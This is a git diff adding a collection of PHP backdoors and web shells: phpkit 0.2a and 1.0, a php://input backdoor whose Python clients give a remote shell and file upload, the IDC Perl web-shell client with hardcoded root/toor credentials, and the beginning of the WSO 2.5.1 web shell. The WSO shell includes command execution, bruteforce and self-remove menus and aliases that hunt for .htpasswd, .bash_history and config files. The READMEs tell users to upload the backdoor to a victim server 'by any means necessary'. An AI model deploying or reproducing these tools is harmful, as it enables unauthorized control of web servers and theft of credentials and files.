+ elif cmd == "exit": + print "\n[-] Quitting" + sys.exit(0) + else: + payload = """""" %(cmd) + hax = requests.post(url, payload) + print hax.text diff --git a/php/phpkit-0.2a/CHANGELOG b/php/phpkit-0.2a/CHANGELOG new file mode 100644 index 0000000..a7a97ef --- /dev/null +++ b/php/phpkit-0.2a/CHANGELOG @@ -0,0 +1,10 @@ +Changelog of phpkit development +-- +0.1a - 07/01 (Jan)/2013 - Initial Commit +0.1b - 08/01 (Jan)/2013 - Major Upgrade. Now tests for system(), shell_exec() and passthru() + Uses simple logic to choose the first one that works. + Needs code cleanup soon, and implementation of exec() :) +0.2a - 17/01 (Jan)/2013 - Realized I was still thinking it was January. Updated the client a bit. + Preparing for the 0.2a release by finishing the upload client and writing + documentation for it. Code is a lot cleaner now though. Still need to fix + the bloody "test" function :/ diff --git a/php/phpkit-0.2a/README b/php/phpkit-0.2a/README new file mode 100644 index 0000000..930b56a --- /dev/null +++ b/php/phpkit-0.2a/README @@ -0,0 +1,100 @@ + /$$$$$$$ /$$ /$$ /$$$$$$$ /$$ /$$ /$$ +| $$__ $$| $$ | $$| $$__ $$| $$ |__/ | $$ +| $$ \ $$| $$ | $$| $$ \ $$| $$ /$$ /$$ /$$$$$$ +| $$$$$$$/| $$$$$$$$| $$$$$$$/| $$ /$$/| $$|_ $$_/ +| $$____/ | $$__ $$| $$____/ | $$$$$$/ | $$ | $$ +| $$ | $$ | $$| $$ | $$_ $$ | $$ | $$ /$$ +| $$ | $$ | $$| $$ | $$ \ $$| $$ | $$$$/ +|__/ |__/ |__/|__/ |__/ \__/|__/ \____/ + +phpkit-0.2a + +Stealth PHP Backdooring Utility - Insecurety Research 2013 + +This is a simple kit to demonstrate a very effective way of +backdooring a webserver running PHP. +Essentially, it functions by parsing out any valid PHP code +from raw HTTP POST data sent to it, and executing said PHP. + +No eval() or other suspect calls are in the serverside script, +the code is executed by the include() function. The php://input +data stream (which is basically "anything sent via raw POST) is +used to "capture" the raw POST data, and when parsed by include() +the code sent is executed. + +This allows for many things to be done, i.e. executing any PHP +code you happen to write. The example client, phpkit.py, simply +gives a "shell prompt" (non interactive, each command is executed +in a new "context") on the victim server. It is trivial to write +pretty much anything. + +This release includes a massively overhauled backdoor client, it +tests various execution functions against the victim host before +using whatever one works first. It is massively ugly code, but +I intend to clean it up soonish. + +This release also includes a basic file uploader :) + +USAGE (backdoor part): +You upload "odd.php" to the target webserver by any means necessary. +You then run ./phpkit.py and enjoy! + +Example Use: +[infodox@sahara:~/phpkit]$ ./phpkit.py http://localhost/odd.php + +[+] URL in use: http://localhost/odd.php + +[+] Testing system function +[+] system() function works +shell:~$ id +uid=33(www-data) gid=33(www-data) groups=33(www-data) + +shell:~$ uname -a +Linux sahara 3.2.0-4-amd64 #1 SMP Debian 3.2.32-1 x86_64 GNU/Linux + +USAGE (file uploader part): +This assumes "odd.php" is loaded onto the victim webserver, obviously. +You run ./upload.py +Only works if remote path is writeable. /tmp/ is always good :) + +Example Use: +[infodox@sahara:~/phpkit]$ python upload.py http://localhost/odd.php /etc/passwd /tmp/pass +[+] Uploading File +[+] Upload should be complete + +So the file uploaded, now I compare MD5sums to check did it bloody well work! +[infodox@sahara:~/phpkit]$ md5sum /etc/passwd +2568416e280af88f82e982efd46525a8 /etc/passwd +[infodox@sahara:~/phpkit]$ md5sum /tmp/pass +2568416e280af88f82e982efd46525a8 /tmp/pass + +Seems legit bro ;) + +TODO: +MySQL client. + + +Notes: +In two use-cases this was shown to not function. +Use Case A: Servers with the Suhosin PHP Hardening Patches. +In this case, php://input and other URL inclusion vectors are rendered +unuseable due to the protections the Suhosin patches offer. i.e. this +tool don't work against Suhosin patched boxes. + +Use Case B: Servers where php.ini is dictated by httpd.conf +In several cases where the php.ini is specific to the HTTP daemon, +runtime ini directive modification is not permissable. I have +personally observed this behaviour on Apache thus far, however +further testing/research is needed to find a workaround of some kind. + +Please report if you have any issues getting this to work. Please +test it on a server with allow_url_include = On , then if it works, +set allow_url_include = Off , restart httpd, and check does it work. +If it does not work, please report using the issue tracker at +http://code.google.com/p/insecurety-research providing details of HTTPD +configuration so I can attempt to figure out new things :) + +Questions, comments, bug reports and abuse? infodox () insecurety.net + +Licence: The do whatever you want with it, just don't rip code without +giving credit licence. diff --git a/php/phpkit-0.2a/odd.php b/php/phpkit-0.2a/odd.php new file mode 100644 index 0000000..b617988 --- /dev/null +++ b/php/phpkit-0.2a/odd.php @@ -0,0 +1,10 @@ +// php://input based backdoor +// uses include('php://input') to execute arbritary code +// Any valid PHP code sent as raw POST data to backdoor is ran +// overrides the php.ini settings using ini_set :) +// Insecurety Research 2013 | insecurety.net + diff --git a/php/phpkit-0.2a/phpkit.py b/php/phpkit-0.2a/phpkit.py new file mode 100644 index 0000000..72fd3a2 --- /dev/null +++ b/php/phpkit-0.2a/phpkit.py @@ -0,0 +1,106 @@ +#!/usr/bin/python +# Client for the php://input based backdoor +# Website: insecurety.net +# Author: infodox +# Twatter: @info_dox +# Insecurety Research - 2013 +# version: 0.2a + +import requests +import sys + +if (len(sys.argv) != 2): + print "Usage: " + sys.argv[0] + " " + print "Example: " + sys.argv[0] + " http://localhost/odd.php" + sys.exit(0) + +url = sys.argv[1] +tester = """echo w00tw00tw00t""" +testkey = """w00tw00tw00t""" +print "\n[+] URL in use: %s \n" %(url) + +### ### +# Whole Bunch of Functions # +### ### +def genphp(func, cmd): + if func == "system": + rawphp = """system('%s');""" %(cmd) + elif func == "shellexec": + rawphp = """echo shell_exec('%s');""" %(cmd) + elif func == "passthru": + rawphp = """passthru('%s');""" %(cmd) + elif func == "exec": + rawphp = """echo exec('%s');""" %(cmd) + encodedphp = rawphp.encode('base64') + payload = """""" %(encodedphp) + return payload + +def test(url, tester, testkey): # This whole function is ugly as sin + print "[+] Testing system()" # I need to make it tighter + payload = genphp('system', tester) # No, really. Look at the waste + r = requests.post(url, payload) # It could be TIIINY and fast! + if testkey in r.text: + print "[+] system() works, using system." + func = 'system' + return func + else: + print "[-] system() seems disabled :(" + pass + print "[+] Testing shell_exec()" # LOOK AT THE FORKING CODE REUSE + payload = genphp('shellexec', tester) # THIS COULD BE TINY + r = requests.post(url, payload) # But. Coffee is lacking + if testkey in r.text: + print "[+] shell_exec() works, using shell_exec" + func = 'shellexec' + return func + else: + print "[-] shell_exec() seems disabled :(" + pass + print "[+] Testing passthru()" + payload = genphp('passthru', tester) + r = requests.post(url, payload) + if testkey in r.text: + print "[+] passthru() works, using passthru" + func = 'passthru' + return func + else: + print "[-] passthru() seems disabled :(" + pass + print "[+] Testing exec()" + payload = genphp('exec', tester) + r = requests.post(url, payload) + if testkey in r.text: + print "[+] exec() works, using exec" + func = 'exec' + return func + else: + print "[-] exec() seems disabled :(" + pass + +### ### +# End of functions and object oriented stuff # +### ### + +# the main body +func = test(url, tester, testkey) +while True: + try: + cmd = raw_input("shell:~$ ") + if cmd == "quit": + print "\n[-] Quitting" + sys.exit(0) + elif cmd == "exit": + print "\n[-] Quitting" + sys.exit(0) + else: + try: + payload = genphp(func, cmd) + hax = requests.post(url, payload) + print hax.text + except Exception or KeyboardInterrupt: + print "[-] Exception Caught, I hope" + sys.exit(0) + except Exception or KeyboardInterrupt: + print "[-] Exception or CTRL+C Caught, I hope" + print "[-] Exiting (hopefully) cleanly..." + sys.exit(0) diff --git a/php/phpkit-0.2a/upload.py b/php/phpkit-0.2a/upload.py new file mode 100644 index 0000000..8074a5d --- /dev/null +++ b/php/phpkit-0.2a/upload.py @@ -0,0 +1,34 @@ +#!/usr/bin/python +# Upload.py +# File Upload client for the php://input based backdoor +# Website: insecurety.net +# Author: infodox +# Twatter: @info_dox +# Insecurety Research - 2013 +# version: 0.2a +import requests +import sys + +if (len(sys.argv) != 4): + print "Usage: " + sys.argv[0] + " " + print "Example: " + sys.argv[0] + " http://localhost/odd.php reverseshell.py /tmp/rsh.py" + sys.exit(0) + +url = sys.argv[1] +localfile = sys.argv[2] +remotefile = sys.argv[3] + +f = open(localfile, "r") +rawfiledata = f.read() +encodedfiledata = rawfiledata.encode('base64') + +phppayload = """""" %(remotefile, encodedfiledata) # I need to add a hashing function sometime for corruption test. + +print "[+] Uploading File" +requests.post(url, phppayload) # this is why I love the python requests library +print "[+] Upload should be complete" diff --git a/php/phpkit-1.0/README.txt b/php/phpkit-1.0/README.txt new file mode 100644 index 0000000..1d48346 --- /dev/null +++ b/php/phpkit-1.0/README.txt @@ -0,0 +1,97 @@ + /$$$$$$$ /$$ /$$ /$$$$$$$ /$$ /$$ /$$ +| $$__ $$| $$ | $$| $$__ $$| $$ |__/ | $$ +| $$ \ $$| $$ | $$| $$ \ $$| $$ /$$ /$$ /$$$$$$ +| $$$$$$$/| $$$$$$$$| $$$$$$$/| $$ /$$/| $$|_ $$_/ +| $$____/ | $$__ $$| $$____/ | $$$$$$/ | $$ | $$ +| $$ | $$ | $$| $$ | $$_ $$ | $$ | $$ /$$ +| $$ | $$ | $$| $$ | $$ \ $$| $$ | $$$$/ +|__/ |__/ |__/|__/ |__/ \__/|__/ \____/ + +phpkit-1.0 + +Stealth PHP Backdooring Utility - Insecurety Research 2013 + +This is a simple kit to demonstrate a very effective way of +backdooring a webserver running PHP. +Essentially, it functions by parsing out any valid PHP code +from raw HTTP POST data sent to it, and executing said PHP. + +No eval() or other suspect calls are in the serverside script, +the code is executed by the include() function. The php://input +data stream (which is basically "anything sent via raw POST) is +used to "capture" the raw POST data, and when parsed by include() +the code sent is executed. + +This allows for many things to be done, i.e. executing any PHP +code you happen to write. The example client, phpkitcli.py, offers +file upload and a remote shell. + +This release includes a massively overhauled backdoor client, it +tests various execution functions against the victim host before +using whatever one works first. It is massively ugly code, but +I intend to clean it up soonish. + +USAGE (backdoor part): +You upload "odd.php" to the target webserver by any means necessary. +You then run ./phpkitcli.py --url and enjoy! + +Example Use: +[infodox@sahara:~/phpkit]$ ./phpkitcli.py --url http://localhost/odd.php + +[+] URL in use: http://localhost/odd.php + +[+] Testing system function +[+] system() function works +shell:~$ id +uid=33(www-data) gid=33(www-data) groups=33(www-data) + +shell:~$ uname -a +Linux sahara 3.2.0-4-amd64 #1 SMP Debian 3.2.32-1 x86_64 GNU/Linux + +USAGE (file uploader part): +This assumes "odd.php" is loaded onto the victim webserver, obviously. +You run: +./phpkitcli.py --url --lfile --rfile --mode UPLOAD +Only works if remote path is writeable. /tmp/ is always good :) + +Example Use: +[infodox@sahara:~/phpkit]$ ./phpkitcli.py --url http://localhost/odd.php --mode UPLOAD --lfile /etc/passwd --rfile /tmp/pass +[+] Uploading File +[+] Upload should be complete + +So the file uploaded, now I compare MD5sums to check did it bloody well work! +[infodox@sahara:~/phpkit]$ md5sum /etc/passwd +2568416e280af88f82e982efd46525a8 /etc/passwd +[infodox@sahara:~/phpkit]$ md5sum /tmp/pass +2568416e280af88f82e982efd46525a8 /tmp/pass + +Seems legit bro ;) + +TODO: +MySQL client. + + +Notes: +In two use-cases this was shown to not function. +Use Case A: Servers with the Suhosin PHP Hardening Patches. +In this case, php://input and other URL inclusion vectors are rendered +unuseable due to the protections the Suhosin patches offer. i.e. this +tool don't work against Suhosin patched boxes. + +Use Case B: Servers where php.ini is dictated by httpd.conf +In several cases where the php.ini is specific to the HTTP daemon, +runtime ini directive modification is not permissable. I have +personally observed this behaviour on Apache thus far, however +further testing/research is needed to find a workaround of some kind. + +Please report if you have any issues getting this to work. Please +test it on a server with allow_url_include = On , then if it works, +set allow_url_include = Off , restart httpd, and check does it work. +If it does not work, please report using the issue tracker at +http://code.google.com/p/insecurety-research providing details of HTTPD +configuration so I can attempt to figure out new things :) + +Questions, comments, bug reports and abuse? infodox () insecurety.net + +Licence: The do whatever you want with it, just don't rip code without +giving credit licence. diff --git a/php/phpkit-1.0/odd.php b/php/phpkit-1.0/odd.php new file mode 100644 index 0000000..795e1af --- /dev/null +++ b/php/phpkit-1.0/odd.php @@ -0,0 +1,5 @@ + diff --git a/php/phpkit-1.0/phpkitcli.py b/php/phpkit-1.0/phpkitcli.py new file mode 100644 index 0000000..764b9a9 --- /dev/null +++ b/php/phpkit-1.0/phpkitcli.py @@ -0,0 +1,132 @@ +#!/usr/bin/python +import argparse +import requests +import sys + +help = """Connects to a phpkit backdoor and provides file upload or shell access""" +parser = argparse.ArgumentParser(description=help) +parser.add_argument("--url", help="URL of backdoor", required=True) +parser.add_argument("--mode", help="UPLOAD or SHELL", default="SHELL") +parser.add_argument("--lfile", help="File to Upload (full path)") +parser.add_argument("--rfile", help="Where to put the file on the server (full path)") +args = parser.parse_args() + +url = args.url +mode = args.mode +localfile = args.lfile +remotefile = args.rfile + +tester = """echo w00tw00tw00t""" +testkey = """w00tw00tw00t""" +print "\n[+] URL in use: %s \n" %(url) + +### ### +# Whole Bunch of Functions # +### ### +def genphp(func, cmd): + if func == "system": + rawphp = """system('%s');""" %(cmd) + elif func == "shellexec": + rawphp = """echo shell_exec('%s');""" %(cmd) + elif func == "passthru": + rawphp = """passthru('%s');""" %(cmd) + elif func == "exec": + rawphp = """echo exec('%s');""" %(cmd) + encodedphp = rawphp.encode('base64') + payload = """""" %(encodedphp) + return payload + +def test(url, tester, testkey): # This whole function is ugly as sin + print "[+] Testing system()" # I need to make it tighter + payload = genphp('system', tester) # No, really. Look at the waste + r = requests.post(url, payload) # It could be TIIINY and fast! + if testkey in r.text: + print "[+] system() works, using system." + func = 'system' + return func + else: + print "[-] system() seems disabled :(" + pass + print "[+] Testing shell_exec()" # LOOK AT THE FORKING CODE REUSE + payload = genphp('shellexec', tester) # THIS COULD BE TINY + r = requests.post(url, payload) # But. Coffee is lacking + if testkey in r.text: + print "[+] shell_exec() works, using shell_exec" + func = 'shellexec' + return func + else: + print "[-] shell_exec() seems disabled :(" + pass + print "[+] Testing passthru()" + payload = genphp('passthru', tester) + r = requests.post(url, payload) + if testkey in r.text: + print "[+] passthru() works, using passthru" + func = 'passthru' + return func + else: + print "[-] passthru() seems disabled :(" + pass + print "[+] Testing exec()" + payload = genphp('exec', tester) + r = requests.post(url, payload) + if testkey in r.text: + print "[+] exec() works, using exec" + func = 'exec' + return func + else: + print "[-] exec() seems disabled :(" + pass + +### +def shell(func): + func = test(url, tester, testkey) + while True: + try: + cmd = raw_input("shell:~$ ") + if cmd == "quit": + print "\n[-] Quitting" + sys.exit(0) + elif cmd == "exit": + print "\n[-] Quitting" + sys.exit(0) + else: + try: + payload = genphp(func, cmd) + hax = requests.post(url, payload) + print hax.text + except Exception or KeyboardInterrupt: + print "[-] Exception Caught, I hope" + sys.exit(0) + except Exception or KeyboardInterrupt: + print "[-] Exception or CTRL+C Caught, I hope" + print "[-] Exiting (hopefully) cleanly..." + sys.exit(0) + +def upload(url, localfile, remotefile): + f = open(localfile, "r") + rawfiledata = f.read() + encodedfiledata = rawfiledata.encode('base64') + phppayload = """""" %(remotefile, encodedfiledata) # I need to add a hashing function sometime for corruption test. + + print "[+] Uploading File" + requests.post(url, phppayload) # this is why I love the python requests library + print "[+] Upload should be complete" + sys.exit(0) + +def main(url, localfile, remotefile, mode): + if mode == "UPLOAD": + upload(url, localfile, remotefile) + elif mode == "SHELL": + func = test(url, test, testkey) + shell(func) + else: + print "[-] Mode Invalid... Exit!" + sys.exit(0) + +main(url, localfile, remotefile, mode) diff --git a/php/wsb/ReadMe.txt b/php/wsb/ReadMe.txt new file mode 100644 index 0000000..330cf43 --- /dev/null +++ b/php/wsb/ReadMe.txt @@ -0,0 +1,7 @@ +#Web Shell BackDoor +For using this tool you must follow this steps : +1- Upload the php Agent (idc.php) into server +2- Run the perl script (wsb.pl) on your machine +3- Give the address of the agent to the perl script +4- Using this username and password : user :root , pass : toor +5- Enter Your Commands;) diff --git a/php/wsb/idc.php b/php/wsb/idc.php new file mode 100644 index 0000000..4e157fb --- /dev/null +++ b/php/wsb/idc.php @@ -0,0 +1,7 @@ + diff --git a/php/wsb/wsb.pl b/php/wsb/wsb.pl new file mode 100644 index 0000000..851148c --- /dev/null +++ b/php/wsb/wsb.pl @@ -0,0 +1,109 @@ +#IDC php BackDoor +#Iranian Dark Coders Team +#WwW.IDC-TeaM.NeT +#Coded BY M.R.S.CO +#We Are M.R.S.CO,N3O,UB313,Black.Hack3r +#Friends : G3n3Rall,MR.CILILI,BlacK.King,Nafsh,b3hz4d,E2MA3N,Skote_Vahshat,Bl4ck.Viper,Mr.Xpr +system(($^O eq 'MSWin32') ? 'cls' : 'clear'); +print q ( + + __ __ __ + | | _|_ {_ |_ _|| |__} _ _| | \ _ _ _ + |/\|{-|_} __}| }{-|| |__}{_|{_|{|__/{_}{_}| + + --=[Web Shell BackDoor] + +---++---==[Version : 1.1] + +---++---==[Coded by : M.R.S.CO] + +---++---==[WwW.IDC-TeaM.Net] + --=[Iranian Dark Coders Team] +); +use LWP::Simple; +print "\nEnter Shell URL : "; +chomp($url=); + +print "\nEnter UserName : "; +chomp($usr=); + +print "Enter PassWord : "; +chomp($pass=); + + +print "\nStart analyze shell\n"; +@fun=("system","passthru","exec","shell_exec"); +$tf="false"; +foreach(@fun) +{ + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('echo www.idc-team.net');"; + if ($source =~ m/idc-team/i){ + print "\nConected\nFor more information Enter \"help\""; + do { + print "\nWSB : "; + chomp($cmd=); + if ($cmd=~"help") + { +print q ( +================================================================ + + command Description + ------- -------------------------- + help The help command display the help menu + getuid The 'getuid' command will display the user + lpwd display the filename of the current working directory + ps The 'ps' command display the list of running processes. + shell It display the standard shell + dir The 'dir' command List information about the FILEs + download The 'download' command downloads a file from the remote machine + sym The 'sym' command create a symlink +); + }elsif ($cmd=~"getuid"){ + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('id');"; + print "\nUser id = $source"; + }elsif ($cmd=~"dir"){ + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('ls -la');"; + print "\n $source"; + }elsif ($cmd=~"lpwd"){ + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('pwd');"; + print "\n$source"; + }elsif ($cmd=~"ps"){ + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('ps -A');"; + print "\n$source"; + }elsif ($cmd=~"exit"){ + exit 0; + }elsif ($cmd=~"sym"){ + print "Enter Target Path (/home/idc/public_html/config.php)\nEnter Target Path : "; + chomp($target=); + print "\nEnter symlink Path (/home/me/public_html/sym.txt)\nEnter symlink Path : "; + chomp($sym=); + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('ln -s $target $sym');"; + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_(\'perl -e \"symlink('$target','$sym')\"\');"; + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=symlink('$target','$sym');"; + print "\nSymlink \"$sym\" Was Created;)\n"; + }elsif ($cmd=~"download"){ + print "Enter File Path (/home/idc/public_html/test.zip)\nEnter File Path : "; + chomp($ff=); + print "\nEnter Save Path : "; + chomp($fp=); + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('cat $ff');"; + open (fdl, '>>'.$fp); + print fdl "$source"; + close (fdl); + print "\File \"$ff\" Was Downloaded to $fp\n"; + }elsif ($cmd=~"shell"){ + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_(\"uname -an\");"; + print "\n$source"; + do { + print "\ncmd : "; + chomp($cm=); + $source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_(\"$cm\");"; + print "\n$source"; + if ($cm=~"exit"){goto ou;} + }while ($==1) + }else{ + print "\"$cmd\" Command NotFound 404;) \nFor more information Enter \"help\""; + } + ou:; + }while ($==1) + } +$tf="true"; +} +if($tf="true") {print "Cant connect to server !!\n";} diff --git a/php/wso2.5.1.php b/php/wso2.5.1.php new file mode 100644 index 0000000..164921c --- /dev/null +++ b/php/wso2.5.1.php @@ -0,0 +1,1522 @@ +
Password:
"); +} + +function WSOsetcookie($k, $v) { + $_COOKIE[$k] = $v; + setcookie($k, $v); +} + +if(!empty($auth_pass)) { + if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) + WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); + + if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) + wsoLogin(); +} + +if(strtolower(substr(PHP_OS,0,3)) == "win") + $os = 'win'; +else + $os = 'nix'; + +$safe_mode = @ini_get('safe_mode'); +if(!$safe_mode) + error_reporting(0); + +$disable_functions = @ini_get('disable_functions'); +$home_cwd = @getcwd(); +if(isset($_POST['c'])) + @chdir($_POST['c']); +$cwd = @getcwd(); +if($os == 'win') { + $home_cwd = str_replace("\\", "/", $home_cwd); + $cwd = str_replace("\\", "/", $cwd); +} +if($cwd[strlen($cwd)-1] != '/') + $cwd .= '/'; + +if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) + $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; + +if($os == 'win') + $aliases = array( + "List Directory" => "dir", + "Find index.php in current dir" => "dir /s /w /b index.php", + "Find *config*.php in current dir" => "dir /s /w /b *config*.php", + "Show active connections" => "netstat -an", + "Show running services" => "net start", + "User accounts" => "net user", + "Show computers" => "net view", + "ARP Table" => "arp -a", + "IP Configuration" => "ipconfig /all" + ); +else + $aliases = array( + "List dir" => "ls -lha", + "list file attributes on a Linux second extended file system" => "lsattr -va", + "show opened ports" => "netstat -an | grep -i listen", + "process status" => "ps aux", + "Find" => "", + "find all suid" => "find / -type f -perm -04000 -ls", + "find suid in current dir" => "find . -type f -perm -04000 -ls", + "find all sgid" => "find / -type f -perm -02000 -ls", + "find sgid files in current dir" => "find . -type f -perm -02000 -ls", + "find config.inc.php" => "find / -type f -name config.inc.php", + "find config*" => "find / -type f -name \"config*\"", + "find config* in current dir" => "find . -type f -name \"config*\"", + "find all writable folders and files" => "find / -perm -2 -ls", + "find all writable folders and files in current dir" => "find . -perm -2 -ls", + "find all service.pwd" => "find / -type f -name service.pwd", + "find service.pwd files in current dir" => "find . -type f -name service.pwd", + "find all .htpasswd" => "find / -type f -name .htpasswd", + "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", + "find all .bash_history" => "find / -type f -name .bash_history", + "find .bash_history files in current dir" => "find . -type f -name .bash_history", + "find all .fetchmailrc" => "find / -type f -name .fetchmailrc", + "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", + "Locate" => "", + "locate httpd.conf" => "locate httpd.conf", + "locate vhosts.conf" => "locate vhosts.conf", + "locate proftpd.conf" => "locate proftpd.conf", + "locate psybnc.conf" => "locate psybnc.conf", + "locate my.conf" => "locate my.conf", + "locate admin.php" =>"locate admin.php", + "locate cfg.php" => "locate cfg.php", + "locate conf.php" => "locate conf.php", + "locate config.dat" => "locate config.dat", + "locate config.php" => "locate config.php", + "locate config.inc" => "locate config.inc", + "locate config.inc.php" => "locate config.inc.php", + "locate config.default.php" => "locate config.default.php", + "locate config*" => "locate config", + "locate .conf"=>"locate '.conf'", + "locate .pwd" => "locate '.pwd'", + "locate .sql" => "locate '.sql'", + "locate .htpasswd" => "locate '.htpasswd'", + "locate .bash_history" => "locate '.bash_history'", + "locate .mysql_history" => "locate '.mysql_history'", + "locate .fetchmailrc" => "locate '.fetchmailrc'", + "locate backup" => "locate backup", + "locate dump" => "locate dump", + "locate priv" => "locate priv" + ); + +function wsoHeader() { + if(empty($_POST['charset'])) + $_POST['charset'] = $GLOBALS['default_charset']; + global $color; + echo "" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ." + + +
+
+ + + + + + +
"; + $freeSpace = @diskfreespace($GLOBALS['cwd']); + $totalSpace = @disk_total_space($GLOBALS['cwd']); + $totalSpace = $totalSpace?$totalSpace:1; + $release = @php_uname('r'); + $kernel = @php_uname('s'); + $explink = 'http://exploit-db.com/search/?action=search&filter_description='; + if(strpos('Linux', $kernel) !== false) + $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); + else + $explink .= urlencode($kernel . ' ' . substr($release,0,3)); + if(!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; + } else { + $uid = @posix_getpwuid(posix_geteuid()); + $gid = @posix_getgrgid(posix_getegid()); + $user = $uid['name']; + $uid = $uid['uid']; + $group = $gid['name']; + $gid = $gid['gid']; + } + + $cwd_links = ''; + $path = explode("/", $GLOBALS['cwd']); + $n=count($path); + for($i=0; $i<$n-1; $i++) { + $cwd_links .= "".$path[$i]."/"; + } + + $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); + $opt_charsets = ''; + foreach($charsets as $item) + $opt_charsets .= ''; + + $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); + if(!empty($GLOBALS['auth_pass'])) + $m['Logout'] = 'Logout'; + $m['Self remove'] = 'SelfRemove'; + $menu = ''; + foreach($m as $k => $v) + $menu .= '[ '.$k.' ]'; + + $drives = ""; + if($GLOBALS['os'] == 'win') { + foreach(range('c','z') as $drive) + if(is_dir($drive.':\\')) + $drives .= '[ '.$drive.' ] '; + } + echo '' + . '' + . '
Uname:
User:
Php:
Hdd:
Cwd:' . ($GLOBALS['os'] == 'win'?'
Drives:':'') . '
' . substr(@php_uname(), 0, 120) . ' [exploit-db.com]
' . $uid . ' ( ' . $user . ' ) Group: ' . $gid . ' ( ' . $group . ' )
' . @phpversion() . ' Safe mode: ' . ($GLOBALS['safe_mode']?'ON':'OFF') + . ' [ phpinfo ] Datetime: ' . date('Y-m-d H:i:s') . '
' . wsoViewSize($totalSpace) . ' Free: ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)
' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' [ home ]
' . $drives . '

Server IP:
' . @$_SERVER["SERVER_ADDR"] . '
Client IP:
' . $_SERVER['REMOTE_ADDR'] . '
' + . '' . $menu . '
'; +} + +function wsoFooter() { + $is_writable = is_writable($GLOBALS['cwd'])?" (Writeable)":" (Not writable)"; + echo " +
+ + + + + + + + + + +
Change dir:
Read file:
Make dir:$is_writable
Make file:$is_writable
Execute:
+ + + + + Upload file:$is_writable

"; +} + +if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { + function posix_getpwuid($p) {return false;} } +if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { + function posix_getgrgid($p) {return false;} } + +function wsoEx($in) { + $out = ''; + if (function_exists('exec')) { + @exec($in,$out); + $out = @join("\n",$out); + } elseif (function_exists('passthru')) { + ob_start(); + @passthru($in); + $out = ob_get_clean(); + } elseif (function_exists('system')) { + ob_start(); + @system($in); + $out = ob_get_clean(); + } elseif (function_exists('shell_exec')) { + $out = shell_exec($in); + } elseif (is_resource($f = @popen($in,"r"))) { + $out = ""; + while(!@feof($f)) + $out .= fread($f,1024); + pclose($f); + } + return $out; +} + +function wsoViewSize($s) { + if (is_int($s)) + $s = sprintf("%u", $s); + + if($s >= 1073741824) + return sprintf('%1.2f', $s / 1073741824 ). ' GB'; + elseif($s >= 1048576) + return sprintf('%1.2f', $s / 1048576 ) . ' MB'; + elseif($s >= 1024) + return sprintf('%1.2f', $s / 1024 ) . ' KB'; + else + return $s . ' B'; +} + +function wsoPerms($p) { + if (($p & 0xC000) == 0xC000)$i = 's'; + elseif (($p & 0xA000) == 0xA000)$i = 'l'; + elseif (($p & 0x8000) == 0x8000)$i = '-'; + elseif (($p & 0x6000) == 0x6000)$i = 'b'; + elseif (($p & 0x4000) == 0x4000)$i = 'd'; + elseif (($p & 0x2000) == 0x2000)$i = 'c'; + elseif (($p & 0x1000) == 0x1000)$i = 'p'; + else $i = 'u'; + $i .= (($p & 0x0100) ? 'r' : '-'); + $i .= (($p & 0x0080) ? 'w' : '-'); + $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); + $i .= (($p & 0x0020) ? 'r' : '-'); + $i .= (($p & 0x0010) ? 'w' : '-'); + $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); + $i .= (($p & 0x0004) ? 'r' : '-'); + $i .= (($p & 0x0002) ? 'w' : '-'); + $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); + return $i; +} + +function wsoPermsColor($f) { + if (!@is_readable($f)) + return '' . wsoPerms(@fileperms($f)) . ''; + elseif (!@is_writable($f)) + return '' . wsoPerms(@fileperms($f)) . ''; + else + return '' . wsoPerms(@fileperms($f)) . ''; +} + +function wsoScandir($dir) { + if(function_exists("scandir")) { + return scandir($dir); + } else { + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) + $files[] = $filename; + return $files; + } +} + +function wsoWhich($p) { + $path = wsoEx('which ' . $p); + if(!empty($path)) + return $path; + return false; +} + +function actionSecInfo() { + wsoHeader(); + echo '

Server security information

'; + function wsoSecParam($n, $v) { + $v = trim($v); + if($v) { + echo '' . $n . ': '; + if(strpos($v, "\n") === false) + echo $v . '
'; + else + echo '
' . $v . '
